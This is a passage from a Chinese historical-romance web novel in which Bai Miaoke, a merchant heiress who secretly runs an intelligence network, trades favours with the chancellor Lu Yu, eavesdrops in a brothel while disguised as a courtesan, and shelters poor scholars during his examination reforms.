无人知晓白家书铺一名普通掌柜却有着一手出神入化的模仿能力,无论是谁的字迹都能依照着写的九成相似。
再加上陆瑜本就怀疑此事是太傅所为,便在潜意识里相信了白妙可拿来的这纸手书。
虽然在朝堂上政见不合,但是得知昔日的老师竟然真的想要杀了自己,陆瑜心里多少有些难过。
他低头掩下眸中的落寞,低沉着嗓音问到:“姑娘这次又想要什么?一千两银子?”
白妙可摇了摇头,一本正经道:“我们江湖人士向来视钱财为身外之物。”
听见这话,陆瑜都快忍不住要冷笑出声了,心道此女真是厚颜无耻至极。
未等回话便听少女接着说:“只是有一件小事需要大人帮忙。”
陆瑜心道果然,也不跟她讲那些虚礼了,直接问:“什么事?”
“帮我调查马鸿哲二十六年前发生了什么事情。”白妙可也不再绕弯子。
听见二十六年前,陆瑜有些诧异,修长的手指摩挲着手上的墨绿扳指。
二十六年前的确是发生了一件大事,致使当年先帝下令赐死了皇后余氏全族。
当年皇后刚生下太子,也就是当今圣上,才免去一死,被幽禁宫中。
自此以后,当年辉煌的余氏一族就此覆灭。
虽然小皇帝登基以后奉其为太后,但是余太后在第二年便没了。
这一段久远的宫闱秘事少有人知,只是时间与白妙可提起来的一致。
具体细节陆瑜也不甚清楚,更没想过会与太傅马鸿哲有关系。
看来有必要调查一下。
纵使心绪万千,陆瑜面上没有任何表情,淡淡说:“我可以帮你查,只是时间久远,不一定还能查到。”
白妙可露出满意的笑:“那就拜托了,事成我还有惊喜给陆大人。”
陆瑜无奈扶额,不对她说的惊喜报太多期待。
语气稍缓,问道:“至今还不知姑娘姓名,有消息了该去何处寻你?”
白妙可说:“我叫影月,有事儿可以来揽月楼找我。”
月影阁其实就是用她在江湖上的花名月影取得,她多了个心眼,将其颠倒过来告诉陆瑜,揽月楼里的人也能听懂。
陆瑜默念了一遍,清楚这必定又是个假名,并没有点破。
这个女子实在神秘,像一朵含苞待放的荼靡花,让人想要靠近去看,却一不小心就误入沼泽。
他轻轻颔首,只应了一声好,目光有意无意的瞥向屋外。
太阳已经西斜了大半,快到晚饭时间了。
白妙可还在慢腾腾的吃着一块糕点。
终于在下人第二次来禀报陆瑜说,陆老爷陆夫人在后院等他吃饭的时候。
白妙可站起身拍了拍裙摆上的褶皱,告辞离开了。
她随着下人离开陆府大门。却转头就到了陆家后院院墙的位置。
她在
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那儿跟这个老狐狸耗了这么久,可不只是为了欣赏美色。她等的就是陆瑜去吃饭的时间,溜到他的书房去。
今天听说陆瑜呈上的贪官名单只是一部分,她想找找看另一部分。
说不定能拿去跟马鸿哲谈谈条件,毕竟她现在手里什么把柄都没有,连见马鸿哲一面都费劲。
可惜的是,她在陆府院墙外转了一圈都没有发现什么漏洞,看来陆瑜连夜加强了守卫。
她叹息了一声,看来只能另找机会了。
一墙之隔的陆府后院内,陆老爷和陆夫人正在打趣自家儿子。
之前传话的下人回禀说陆瑜在前厅跟一个姑娘谈话,老两口还没当回事儿。
直到晚膳时间,下人说二人还在前厅呆着呢,陆老爷陆夫人就有些想多了。
这还是他们第一次见自家儿子跟姑娘相谈甚欢以至于忘了时间呢。
陆瑜刚刚净手落座,就看见自家父母齐齐盯着自己,眼神恳切,欲言又止的样子。
他放下手里的筷子,叹了口气说:“想问就问吧。”
陆夫人率先开口:“是哪家姑娘?”
陆老爷接道:“你小子怎么不留人家用膳。”
陆瑜对自家父母深感无奈,他今年也才二十有七,哪里需要这样着急。
他没什么好隐瞒的,说:“不过是有过一面之缘罢了,她曾救我一命,今日找我帮忙打听个消息。”
谁知陆老爷听了这话,对着儿子就是一记眼刀,“让你好好练武你不听,现在还需要小姑娘来救你。”
陆夫人听了这话就不高兴了:“小姑娘怎么了,老娘当年在战场上的时候也不比哪个男子差。”
陆老爷立刻拍着夫人的背,改口道:“夫人说的对,我是教育这小子要知恩图报呢,人家姑娘的救命之恩可不能敷衍了事。”
陆夫人也打趣道:“我可听下人说那个姑娘很是漂亮,救命之恩我儿以身相许也不为过。”
陆瑜无奈的看着父母你一句我一句,只能回答:“好好好,儿子知道的,快吃饭吧。”
总算把这个话题揭了过去。
吃过饭他回到书房,又拿出白日里的那个信封。
恍然闻见一股若有似无的栀子花香,想起来今天那个姑娘头上可不正是别了一朵栀子花。
两次见她都是一袭红裙,没想到竟然喜欢栀子花。他又想起来饭桌上母亲的戏谑,若是以身相许给那个小骗子,怕是转头就被卖了。
富贵看着自家公子拿着信失神,以为他是在想太傅的事情。
他开口安慰:“公子别太难过了,有些人天生就是冷血。”
陆瑜回过神来,想起来正事。
他同皇帝一块受了太傅七八年的教导,此人确实有大才,不然先帝也不会让他担任天子之师。
只是随着年龄和阅历的增长,他跟皇帝在一些政事上面渐渐与太傅有了分歧。
师徒关系开始慢慢出现裂痕,没想到现在都到你死我活的境地了。
他在心里说服自己,早该知道他是一个冷漠无情的人。
他将纸条靠近烛火,看着其化为灰烬,仿佛是下了什么决心。
他招来手下吩咐到:“去查一查马鸿哲二十六年前在干什么?”
他倒是有些好奇了。
5. 以命相抵
接下来的几天白妙可拉上萧恒蹲守在太傅府附近。
虽然不知道这位大小姐又想做什么,但是萧恒对白妙可向来都是言听计从。此刻两人一人蹲守一个树头,一动不动的盯着来回巡逻的守卫。
萧恒微微偏头看向左前方的白妙可,微风吹动少女的长发,他仿佛嗅到了少女身上的栀子花香,思绪逐渐飘远。
他第一次见到白妙可,是自己八岁那年。
他自小便失去了双亲,靠偷盗乞讨为生,经常被打的鼻青脸肿。
他记得那是一个很冷的冬天,自己已经两天没有吃过东西,肋骨被打断了一根,疼得动弹不得。蜷缩在街道的拐角处祈祷千万不要下雪,他很清楚京都每年的大雪下会埋藏多少枯骨。
可惜天不遂人愿,快入夜的时候纷纷扬扬的雪花还是落了下来,他内心涌上绝望但是还不想认命。
拼尽最后的力气挪到了距离最近的屋檐下,即便是冻死在今夜,他也不愿自己的尸骨被埋藏在积雪下无人发现。
清楚感觉自己的高热褪去,生命力在逐渐流失。他躺在地上看着头顶金色的牌匾,在心里惋惜自己并不识字,连自己死去的地方都不认识。
就在他昏昏沉沉意识逐渐消失的时候,那扇厚重的大门推开了,一个扎着两个丸子头的小姑娘从门缝钻了出来。
她穿着正红色的对襟袄裙,在一圈毛茸茸的围脖包裹下,只露出一张肉嘟嘟的小脸,滴溜溜的眼睛像黑葡萄一样左右张望,像是从年画里走出来的小仙童。
小小白妙可本来是偷溜出来堆雪人的,推开门一下子就看见了屋檐下一动不动的人。
她惊讶的叫了一声,小跑着过去蹲到了萧恒身边,伸出肉乎乎的小手摸了摸他的脸。
萧恒感觉到暖呼呼的温度靠近,勉强睁开眼睛,看见白白净净的小女孩,张了张嘴却没有发出任何声音就晕了过去。
再次醒来的时候他已经躺在了干净的床榻上,身上的大小伤口也被上药包扎。
他茫然的环顾四周,便看见了趴在床尾睡的流口水的包子脸小姑娘,他在心里暗暗想,此恩合该以命相抵,我的命以后就是她的了。
从那时起,他便留在了白府,同白妙可一起学习,一起偷偷跟着师傅练武,到后来又一起创立了月影阁。
他同白家大少爷同岁,便也一直想像哥哥一样保护她,只有他心里清楚,不知何时,这份感情早已变质。
成年以后他便搬离了白府,创立了月影阁,随着月影阁的逐渐壮大,他常常忙到没时间吃饭睡觉,他们见面也越来越少。
但是只要她一句话,无论多么紧急的事情他都会放在一边,去陪她做任何事情。
这次也是一样,他们已经围着太傅府转了好几天。
他问:“你想杀了马鸿哲哪里需要这么麻烦,等他出门的时候我带人劫杀他就是了。”
“不能杀他,我还有事情想从他身上查起。”白妙可不赞同。
看她没有说更多的意思,萧恒也没问什么事,他只需要做她最锋利的刀便是。
白妙可经过多日的观察,发现这位太傅保守的很。
府上明里暗里的设了好多侍卫,以她的身手想要偷溜进去几乎都是不可能的。
白妙可有些郁闷,但是她从来不是闷着自己的性子,暂时想不出其他办法就先不想。
于是她便让萧恒去忙其他事情,二人分别。
当天下午她自己带着春杏来了醉春楼,也就是京城最大的风月场所。
白妙可才不在乎这些,她平日的乐趣除了挣钱以外,就是来这里听曲赏舞喝酒。
这楼里的乐伶和小倌都是一等一的好嗓子好样貌好才情,京城不少达官贵人都喜欢在此消遣。
女扮男装的白妙可墨发高束,金冠玉佩,手持一柄白玉折扇,看着倒也像是一个俊俏公子哥。春杏跟在后面扮做小厮。
楼里的媽媽一看见二人便热情的迎了上来,笑着说;“公子可是好久没来了,楼里的姑娘们都很想你呢。”
白妙可也笑着往里走,春杏熟练的掏出一块银子递到媽媽手里,说到;“老位置。”
二人便被带到了二楼的一个雅间,接着几个姑娘鱼贯而入。
她问;“有没有江南来的姑娘,唱个江南小曲来听听。”
有一个纤弱的女子唱起了秦淮景,其余的女子翩然起舞。
自打看了母亲在信里对江南的喜爱,她也对江南充满了好奇,心想这吴侬软语果真有不一样的风情。
不一会儿,一个丰腴娇媚的女子推门进来,只见她一步一妖娆,顾盼皆风情。
“奴家终于把公子盼来了。”
说话的女子是醉春楼的头牌--牡丹,也是揽月阁布置在这楼里打探情报,执行暗杀任务的暗探。
白妙可看见女子进来,笑的眼睛弯弯,扬手将其拉了过来坐到身边。
虽然自己的身材也很凹凸有致,但是每次看见牡丹,白妙可都感觉移不开眼,更别说那些男人了。
所以牡丹才能在这楼里轻易地接触到各路高官,打听到各种消息。
她此刻正笑眯眯的给白妙可倒酒,边小声抱怨;“你让我打探太傅二十六年前做了什么,可是太难为奴家了,但是我倒是听说二十六年前皇帝的外族余家被先帝满门赐死了。”
白妙可端起酒杯一口饮下,那般风流气度引得在场的姑娘频频看来。
她抿了抿唇,凑近牡丹耳边说;“此事与马鸿哲可能有什么关联,好姐姐你继续帮我留意着。”
牡丹笑着点点头,二人又对饮几杯。
牡丹突然想起来一件趣事,她低声说;“你说你老看些姑娘有什么意思,今天楼里来了稀客,我带你去看看。”
能被这楼里千金难求的头牌称为稀客的人,白妙可还真有些好奇。
于是她大方的散了赏钱,摆摆手让一众姑娘退下。
出门跟着牡丹去了楼上的一处连廊,这里十分隐蔽,又能正好看见二楼临湖的位置坐着的两个人。
牡丹素手指向其中一位,白妙可顺着看过去。
那人身着月白色衣衫,脊背挺直的端坐在那里,眉目之间流露出来疏离的气质,单是一个侧脸的轮廓便让人移不开视线,当真是应了那句君子如玉,温润而泽。
白妙可轻轻点头,一眼不错的盯着白衣男子。
他微微侧头似乎在跟同桌的男子
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说着什么。
看见他的正脸白妙可才惊讶出声:“这不是陆瑜吗?”
牡丹好奇的问:“你认识丞相大人?”
“打过几次交道罢了。”白妙可含糊回答。
接着问:“他经常来你们这儿?”
牡丹摇头:“这位丞相大人可是头回来,要不怎么说是稀客呢。”
“听闻他行事果断狠厉,在奴家看来倒是个温润如玉的儿郎呢。”
“可惜他来了楼里也没找人伺候,不然奴使出浑身解数还不信拿不下他。”
牡丹边说着话边娇笑起来。
白妙可一贯是知道她的风格的,从前没觉得有什么不妥,今天听着却有些不舒服。
她轻咳一声打断了牡丹的想入非非。
目光搜寻了一圈,发现确实没有什么姑娘在二人身边,她转而看向与陆瑜同桌的男子。
男人看上去三十有余,一身暗紫色长袍带着金边刺绣,剑眉薄唇,通身的贵族气质。
若是没有陆瑜做对比,也是出类拔萃的好相貌。
白妙可问:“另一位是谁?”
牡丹答:“那位是康王,是楼里的常客了,功夫了得呢。”
白妙可奇怪道:“我怎么听说康王是出了名的闲散王爷,没什么武艺?”
牡丹咯咯笑了起来:“奴家说的不是打架的本事。”
“那是什么功夫?”白妙可追问。
牡丹却不再回答了,只是掩嘴笑着说:“等你以后便知道了。”
白妙可瘪了瘪嘴,问起来别的事:“他们来这儿不听曲也不赏舞吗?”
牡丹答:“许多贵客都是这般,先商谈正事,后饮酒作乐。”
此时楼里的媽媽过来寻牡丹,让她准备一下去伺候贵客。
看见白妙可在旁边,媽媽陪着笑说:“对不住了公子,今日楼里来了位有关系的,等结束再让牡丹来陪您。”
白妙可心思一转,立刻摆摆手说:“没关系没关系,你先去忙吧。”
待人走远,白妙可拉着牡丹进了房间,兴奋的说:“我能不能跟你一块儿过去,说不定还能听听他们在聊什么呢。”
牡丹古怪的看了她一眼,说:“自然可以,我帮你收拾打扮一番。”
一盏茶的功夫,白妙可就摇身一变。
她身着霞影纱玫瑰香胸衣,腰束镶花软烟罗裙,外罩一件逶迤拖地的嫩粉色披帛,薄如蝉翼的披帛下隐约可见其腰若细柳,肤若凝脂。
牡丹的一双巧手更是将少女的面容修饰的更加夺目,一双凤眼微微上扬,眉心一点朱红的花钿浑然天成,当真是花容月貌。
牡丹满意的看着面前的白妙可,语气戏谑:“姑娘这么一打扮,这楼里头牌的位置奴家都要让出去了。”
白妙可还是第一次这样装扮,她听着牡丹的玩笑,心里没有什么不好意思,反而新奇地看着镜中的自己,满意的弯起唇角。
她觉得自己这般装扮,陆瑜肯定认不出来。
但是出于谨慎,她还是取了一条轻纱遮面,才跟着牡丹款款去往那间厢房。
门口还有几个姑娘候着,牡丹来了以后,众人便自觉的排成一列,鱼贯而入。
6. 奴喂公子
白妙可跟在队伍末尾,若说要耍刀舞剑还行,跳舞她是一窍不通。
众女入内以后便各司其职,弹琴奏乐,翩然起舞,白妙可不想太过惹眼,便拿起一旁的琵琶,假模假样的抚了起来,其实没有发出半点儿声响。
并不是她不会弹琵琶,她自小跟着母亲也是学过琴棋书画的,只是她一门心思都在偷听谈话上,哪有心情抚琴。
陆瑜坐在左侧,康王坐在右侧。
她选了陆瑜左侧下首的位置坐下,这样陆瑜跟康王讲话的时候更不会注意到自己。
而牡丹则是进门直奔康王,娇嗔道:“王爷好久不来,可叫奴家好想。”
康王笑着将牡丹搂进怀中,轻抚着她的手说到:“本王最近有些忙罢了,哪能忘了我的牡丹呢。”
二人你来我往的调笑时,白妙可偷偷抬眼观察陆瑜,他面上没什么表情,手里却不停的摩挲着墨玉扳指,带着几分不耐烦。
他开口提醒:“殿下还没回答我的问题呢。”
康王像是刚回过神来:“那会儿本王也还是十岁稚儿,哪里知道那么多。”
陆瑜的唇抿起,看起来似笑非笑,淡声道:“殿下还是仔细回忆一下,陆某愿为殿下分忧。”
听见这话,康王微微坐直了身体,终于将眼神从牡丹身上移开看向陆瑜。
“好,你放心,等我回去好好想想,晚些时候传信与你。”康王应允。
又笑道:“快别端着了,选个合眼的姑娘,这楼里的姑娘可是外面比不了的。”
说罢环视一圈,目光锁定在一旁划水的白妙可身上。
陆瑜也顺着看过去,目光落在女子眼角的小痣上,眼神微眯。
白妙可正竖着耳朵听他们讲话,突然察觉到二人的目光,脊背一僵,不知道是自己划水太过明显被发现了,还是自己的身份被认出来了。
她垂眸抚琴,这次是真的在弹了,低头努力降低自己的存在感。
康王也算是阅女无数的老手了,他一眼看出此女身姿曼妙,虽然有面纱遮掩,也能隐约看出其绝色姿容。
他吞了吞口水,刚要抬手唤她上前。
怀里的牡丹却是不依了,她用绵软的身体紧紧贴上康王,一双柔弱无骨的手往下探去,在广袖的遮掩下握住了他的命脉。
康王顿时感觉气血上涌,一双眼睛虽然还看着白妙可的方向,但是却一时顾不上其他了。
正当白妙可觉得自己逃过一劫,准备偷溜的时候,陆瑜指了指她,开口说:“你过来。”
明明他的声音平淡,白妙可却听出了几分戏谑的感觉。
她不想暴露身份,只能闹腾腾的起身挪了过去,怀里还紧抱着琵琶,想着若是陆瑜对自己动手动脚,她就一琵琶给他拍飞。
她走到陆瑜身侧坐下,感受到对方在盯着自己,她不知道楼里的姑娘这个时候应该说些什么。
她飞快的思考了一瞬。拿起桌上的酒壶给陆瑜倒了一杯酒,闻着这醇粹的酒香,她在心里想着不愧是康王从宫里带出来的酒,自己还从未见过如此美酒。
于是她动作极快的又给自己也倒了一杯。
倒酒的功夫,一旁的康王已经迫不及待的搂着牡丹去了其他厢房。
边走还边跟牡丹嘀咕:“都说陆瑜不近女色,我看是眼光高没碰见满意的,刚才那个美人是你们楼里哪位啊?让陆瑜这个冰块都破戒了。”
牡丹佯装生气的撒了个娇将此事糊弄了过去。
二人走后,屋内就剩卖力表演的几个姑娘,还有面面相觑的白妙可和陆瑜。
白妙可想尝尝这宫廷玉液酒,但是陆瑜不喝她也不好先喝,于是她夹着嗓子说:“公子,奴家敬你一杯。”
说罢端起桌上自己那杯酒,突然想起来自己还带着面纱。
端着酒杯的手顿时尴尬地悬在了半空。
她从没有这么懊悔过自己这张嘴怎么这么馋,此刻进退两难。
突然灵机一动,她将手中的酒杯转了个方向,径直向陆瑜嘴边递过去。
娇滴滴地说道:“奴家喂公子喝~”
随着芊芊素手逐渐靠近,陆瑜不仅闻见了杯中的酒香,还有隐隐约约的栀子花香。
一时间,大脑仿佛被这娇滴滴地声音所麻痹停止了思考,身体便诚实地给出了动作。他薄唇微张,就着女子的手饮尽了杯中酒。
下唇传来柔软的触感,是他不经意碰到了她的手指。
白妙可触电似的收回了手,感受着手指上的湿润,不知是酒还是别的什么。
陆瑜也回过神来,后知后觉的舔了舔嘴唇,莫名感觉自己的心跳有些快。他抬眸看向女子慢慢浮上绯红的耳尖,又突然觉得很是有趣。
于是他端起自己面前的那杯酒,说:“我也喂你一杯。”
说着作势就要去揭女子的面纱。
白妙可惊恐抬头,下意识地拍开了他伸过来的手,一不小心没收住力道……
陆瑜感觉虎口一震,手里酒杯中的酒也洒了出来,尽数洒在了白妙可的身上。
她今日穿的本就清凉,浅红色的酒水落在衣襟上,立刻就透出一大片雪白的肌肤。
陆瑜低头看过去,恰好看见残存的一滴酒水顺着沟壑流了下去。
他飞快的移开视线,拿起旁边的外袍伸手递了过去,低沉的说了句抱歉。
白妙可此时也顾不得会不会暴露身份了,她生气的扯过外袍披上,飞快的推门离开了,摔得房门震响,仿佛打翻酒水的罪魁祸首不是自己。
屋里剩余的姑娘们被突然发生的变故吓了一跳,小声讨论刚才跑出去的姑娘是哪个。
听见她们的讨论,陆瑜也回过神来,他感觉自己有些喉头发紧,气血上涌,疑心是不是酒水有什么问题,也不敢再喝。
跟楼里的媽媽说了一声,等康王完事儿以后传个话,说自己等着他的消息。
交代完便快步走出了醉春楼。
外面富贵正等在车边,看见自家公子出来,他赶着马车过来。
走近他才发现公子的脸有些红,耳朵更是红的滴血。
他紧张地问:“公子怎么脸这么红?是发烧了吗?”
陆瑜不自在的轻咳了一声,声音低沉的说:“无碍,喝了些酒罢了,回府。”
接着快速登上马车,将车帘遮的严严实实。
留下富贵在车外小声嘀咕:“公子不是千杯不醉吗,今日这是喝了多少,脸都红了。”
直到马车逐渐驶离街口,楼上探头张望的白妙可才将窗
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户砰的关紧,她已经换回了自己来时穿的那套男装,正在跟春杏抱怨陆瑜有多冒昧。
春杏真诚的发出疑问:“他是故意将酒水泼在小姐身上的吗?看着风流倜傥的公子没想到这么下作。”
白妙可心虚的摸了摸头,小声道:“也没有吧。”
春杏没有听清她的嘀咕,拿着白妙可披着回来的那件外袍继续问:“小姐,那这件衣服怎么办?”
白妙可看着那件月白色的长袍突然觉得陆瑜的身量真是高啊,自己在女子中已经算是高挑了,穿着他的袍子还是拖在地上一截,她盯着弄脏了些许的下摆,皱了皱眉说:“拿回去洗一下吧。”
春杏没想到自家小姐居然还要留着那位流氓的衣服,却是没有多问只应了一声是。
二人收拾妥当就启程回家。
纵使经历不太美好,好歹今日有些收获,虽然不清楚陆瑜跟康王的交易是什么,但是听康王的语气是知道些什么。
康王的母妃当年是齐贵妃,在后宫中也是深得先帝宠爱,其外族齐家也是百年世家名门望族,而且康王是先帝的第一位皇子,作为长子,一出生便备受先帝喜爱。
后来他也成了皇子中的佼佼者,无论是从长子身份还是外族助力来看,康王都是皇位的有力竞争者。
不知经过了多少明争暗斗,皇位最后还是落到了小他三岁的太子身上。
新帝登基以后,没有给康王赏赐封地,而是打着兄友弟恭的名号将他留在京城,让他在自己的眼皮底下做个闲散王爷。
白妙可在心里想,也许康王并不真的是一个色鬼草包,只是夺嫡失败必须收敛锋芒才不会被忌惮。
回家的路上,她就有了个粗暴的计划,就是等康王把当年的事情写下来准备交给陆瑜的时候截胡,这样自己可以最快得到消息,也不必再欠陆瑜的人情,两全其美。
想好计划,少女早就将白天的烦心事抛到脑后了,几乎是倒头就睡。
还不知道自己已经被算计的陆瑜可就没有这么心大了。
黑暗中他躺在自己的床上盯着床帐难以入眠,一闭眼仿佛又看到了那雪白的沟壑中流下水珠。
他轻按自己的额角,想将这种画面赶出自己的脑海。
陆瑜从小熟读圣贤书,自认为抛去朝政上那些必须的手段不看,他也称得上是克己复礼的端庄君子,有些懊悔今日怎会如此逾矩。
他思考着自己为何不直接戳穿她,而是想要逗逗她。听着自己咚咚的心跳,他感觉有什么答案呼之欲出,却一时摸不到头绪。
总之今日确实是自己的不对,他便决定收到康王传来的消息就主动递送给她,算是赔礼道歉。
月亮高挂枝头的时候陆瑜总算入睡,却在梦里又见到了今天的少女。
她还穿着今日的那身衣服,只是那薄如蝉翼的披帛却不知所踪。
陆瑜拿着一方锦帕替她擦着身上的酒水,触之所及皆是柔软。少女双颊粉嫩,含羞带怯的看着他,那双眼睛像是会说话一般,对自己诉说着欲语还休。
他终于克制不住一般俯身下去,少女闭上眼睛,睫毛轻颤,眼尾的一颗小痣愈发灵动,他将炙热的唇落在上面,平静的湖面上荡起涟漪,一同浮浮沉沉。
一夜好梦。
7. 有花堪折
御书房内,年轻的帝王正拿着一卷奏折,手里的笔却悬了许久都没有落下一句批文。
此时伺候的小太监前来通禀:“皇上,丞相大人求见。”
皇帝立刻放下手中的笔,沉声道:“快让他进来。”
小太监应声退下,不过多时,一身绛红色官服的陆瑜就走了进来。
皇帝一见他进门,还未等他行礼问安,就挥手让宫人们退下,起身拉着他坐在自己旁边。
开口道:“子澄你总算来了,快帮朕出出主意,近日多有官员上书本次科举改制不合规矩,要求朕沿用旧法。”
“如若朕久不批复,太傅恐怕要坐不住了,依你之见应该如何?”
子澄是陆瑜的表字,寓意清明透彻,他本人也的确如此,是以皇帝有拿不准主意的事情总爱找他来商讨一二。
陆瑜略一沉思,徐徐说到:“臣以为科举新政已定,万不能退让。若是这第一步便退,后面只会一步退步步退。”
“再者,唯有科举为朝廷带来新的血液,才能慢慢剔去那些腐肉。”
皇帝点了点头:“确是如此,只是太傅那边恐难对付。”
陆瑜回:“臣愿为陛下分忧。”
皇帝这才笑了起来,说:“那太好了,科举的事交由你负责朕才能放心。”
看着皇帝愁云立消的神情,陆瑜感觉自己好像又被卖了……
解决了心头大患,皇帝又饶有兴致地拉着陆瑜下棋,二人对坐手谈。
落下一子,皇帝随口问道:“听说吴尚书最近在给家里的女儿相看亲事,结果她绝食抗议,放话说非你不嫁。”
陆瑜的神情没什么波澜,轻轻落下一粒黑子,白子便无路可逃了。他淡声回:“臣未曾见过此女。”
被吞了几子皇帝也不在意,继续开玩笑:“吴尚书对你有意见是小事,你不知道还耽误了多少京中贵女,有没有中意的姑娘?朕替你赐婚,也算让其他女郎们死了心。”
中意的姑娘自然是没有,但是陆瑜脑海里莫名想起来那个身着红色衣裙的少女笑着喊他陆大人的场景。
这么一走神,黑子便错了一处,满盘皆输。
皇帝爽朗笑道:“朕赢了,子澄也别总是忙于公事,要多放些心思在终身大事上。”
陆瑜看着自己下错的那枚棋子,不客气地回道:“臣感谢皇上好意,若是没有皇上的重用,臣可能早已成家立业。”
皇帝一噎,摆摆手让他快走。
陆瑜告辞离开,行至门口的时候听见皇帝朗声说:“花开堪折直须折。”
陆瑜轻声叹息,想着自己是不是替皇帝分担了太多,让他有这般闲心,都开始想着为自己赐婚的事情了。
在第二日的早朝之上,陆丞相便领了主持科举的差事。
并且舌战群儒,以一人之力怼的各个反对的官员哑口无言。
最终皇帝拍板定下了今年的科举新政:无论出身世家还是平民,均可参与科举,所做文章引去姓名后随机分配批阅,经过选拔的举子可以进入殿试,由圣上亲选。
最重要的是今年取消了世家由直接举荐的名额。
以往的科举是从平民中选拔一批官员,另一部分由各个世家举荐直接入朝为官。
这么一来,便有越来越多世家里的酒囊饭袋进入了朝堂,世家的势力也得以一代一代延续下去。
这次科举新政无疑是动了世家的根基,但是也给了平民学子们更多的机会。
即使仍然无法完全避免科举舞弊的情况,光是能开这个头,就已经是陆瑜为首的大批官员努力争取来的最好结果了。
圣旨宣告天下,寒门学子都为之振奋。
距离科举还有半月,便有各地的学子陆续入京赶考。
白家大少爷白永思本就打算参与今年科举,听闻此事,同自己妹妹夸道:“丞相这是要动世家的根本了,能有丞相大人真是我朝的幸事啊。”
白妙可不置可否,陆瑜这次却是是做了件好事。
之后的几日兄妹二人各自忙碌。
白永思自然是忙着复习科举考试,白妙可要忙的东西就更多了。
她一直派人盯着的康王那边,却迟迟没有动静。
而且近期有大量学子涌入京城,各家客栈都人满为患。
白家在京中共有六家酒楼客栈,白妙可作为东家,时不时的便会过去看一看,客房早已住满,她便经常会碰见从外省过来的学子因为找不到住处而愁容满面。
这些贫寒学子不知准备了多少年才等来这次机会,即便是露宿街头也不愿放弃。
白妙可虽然不爱读书,但是她一向敬佩读书人。
于是她同白老爷商量了一下,盘下了城东的几个荒废的大宅子,那边在京中算是偏僻地段,地价也没有太贵。
又花了一天的时间打扫,购置了许多床榻桌椅笔墨纸砚等物件,每间屋子都能容纳一到两位学子。
准备好这些,白妙可就让自己手下的各个客栈掌柜在店铺门口贴出告示:白家为方便赴京学子,在城东设立白氏学舍。为进京赶考的学子提供住处,每日二十文,无钱支付者也可以待科考结束后为白家做工偿还。
告示一出,许多没有住处的学子赶往城东。
前往的学子们本以为环境会很恶劣,没想到白氏学舍虽然简朴,但是干净整洁。
更令学子们感动的是,白家还免费提供笔墨纸砚给他们。
于是当天就住满了三间大宅子,剩余的三间在后面两天也陆续满员。
学子们对于白家的义举赞不绝口,白妙可也乐见其成,本意只是帮助一下寒门学子,没想到还能收获好名声。
陆瑜也听说了这件事,他知道白家作为第一富商,出些钱对白家来说算不得什么事,但是这样比直接送钱更能帮到学子,想出这个办法的也是个妙人。
他便吩咐人去查一下这位少东家是何人物,若有时间,他还真想见见这位白家少东家。
只是陆丞相最近忙得很,正在为科举的各项事宜做最后准备。
随着科举日期临近,也有许多人找上门来,塞钱送美人的都有,他一概未收。
康王也派人递来了几个名字,顺便提到自己想起来当年的事情了,愿当面说与他听。
陆瑜沉思片刻,将写着名字的纸条收好,命富贵去传信,说自己忙完科举一事再与康王殿下小聚。
转眼就到了科举考试这天,白妙可一大早就起来送自家哥哥。
白永思今日穿着一身青色长衫,手里拿着一柄折扇,看上去风度翩翩。
兄妹二人长得不算太像。白妙可的相貌随了母亲,线条柔美灵动;白永思长得更像父亲,五官硬朗周正。
兄妹俩唯一相似的便是那双微微上扬的凤眼,与母亲如出一辙。
过了片刻,白老爷也到了,一家人就坐在一起吃早饭。
白老爷
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在饭桌上为儿子夹了好多次菜,叮嘱他多吃些,告诉他能不能考中无所谓,家里养的起。
白永思:“……好”
白妙可嘴甜的说了许多鼓励的话,最后加了句:“我等着哥哥当上大官罩着白家呢。”
白永思应了一声,抬手摸了摸妹妹的头。
白家在京城虽是大户,但是商贾之家与官家比总是会被低看一眼。
纵使白家只想本分经营,但是许多产业没有官场中的打点难以立足,因此父亲总有些时候要给一些高官送上银两还要陪着笑脸。
白家与这些官家多有来往,但是对方设宴的时候却从来不会邀请白家。
他暗暗想,自己在家里的产业打理上没帮上忙,若是真能中举做官庇佑白家,那自己的努力也算没有白费。
他辞别父亲和妹妹,坐着马车前往考场。
作为本次科举的负责人,陆瑜也在考场呆着,他检查了现场的准备,便开门迎接众考生。
时辰一到,考试便开始了。
考生们用一个个隔板分开,确保相邻的人互不打扰,正对面是敞开的,方便监考的官员巡视检查。
陆瑜从两排考生中间的走廊慢慢穿过。
他今日穿了一身常服,除了几个世家子弟认出他来,在他经过的时候将头低的更厉害;其余学子只以为他是监考官员而已。
他慢慢踱步,不时低头看一眼他们笔下正在写的策论。
走到一位身穿青色衣衫的考生面前,他的脚步停了下来,微微偏头看了一眼对方专注的侧脸。
他笔下的文章针砭时弊,字字珠玑。
陆瑜不动声色地多看了两眼,暗自猜想这位会是状元还是榜眼。
三天时间很快过去,各位学子只需要回去等待放榜即可。
白妙可看着回到家的哥哥神情平静,看不出考的好坏,她也顾不得再操心哥哥。
当时住在白氏学舍的学子有大半付不起费用,考试结束便有许多学子依照约定要为白家做工。
白妙可又忙了起来,她安排了这些学子在白家书铺抄书。
抄的多是古籍孤本,学子又惊又喜,要知道这些古籍大多都在世家手里流传,他们这种寒门子弟一辈子都不一定有机会接触,更别说能亲手抄录了。
于是根本无需催促或者监督,兴奋的学子们自发的起早贪黑想要多抄录几本。
白妙可从哥哥那里听说了古籍孤本不流通的问题,就想出了这个法子。
她派人高价从世家手里收来这些古籍孤本或者手抄本,准备大量抄录并在白家在全国各处的书铺售卖,一方面能获得不小的利润,另一方面还能让小地方的学子也能了解到这些知识。
有几个受白家此举大为感动的学子甚至找上门来,愿做白家门客。
白老爷客气的接待了他们,但是白家又无官身,何需门客呢。
还是白永思出面做了决断,他让各位学子先回去等待放榜,若是榜上有名自是最好,榜上无名再来白家,白家愿为他们谋个出路。
学子对白永思更为钦佩,又纷纷感谢白氏学舍的收留。
白永思笑着摆手道:“这些主意都是我家妹妹想出来的,我同诸位一样都是普通读书人罢了。”语气里含着对自家妹妹的自豪。
听见做这一切的竟是个女子,众人愈发好奇,但是在场的都是知礼的文人,断没有背后议论姑娘的道理,纷纷行礼告辞。
8. 夜探深闺
在等待放榜的日子里,白妙可除了忙着安排抄书的事情,又先后去了一趟马鸿哲的太傅府和康王的王府。
太傅府还是那般铜墙铁壁,只是白妙可观察到每日来拜访太傅的人多了不少,虽然白妙可认不得太多几个官员,但是同她一起的萧恒常年处理月影阁的事务,倒是认出来部分官员来自工部。
眼看太傅府没希望了,晚上两人就去了康王王府。
这里的守卫倒是没有那般森严,白妙可和萧恒穿着夜行衣,一前一后从王府后院翻了进去。
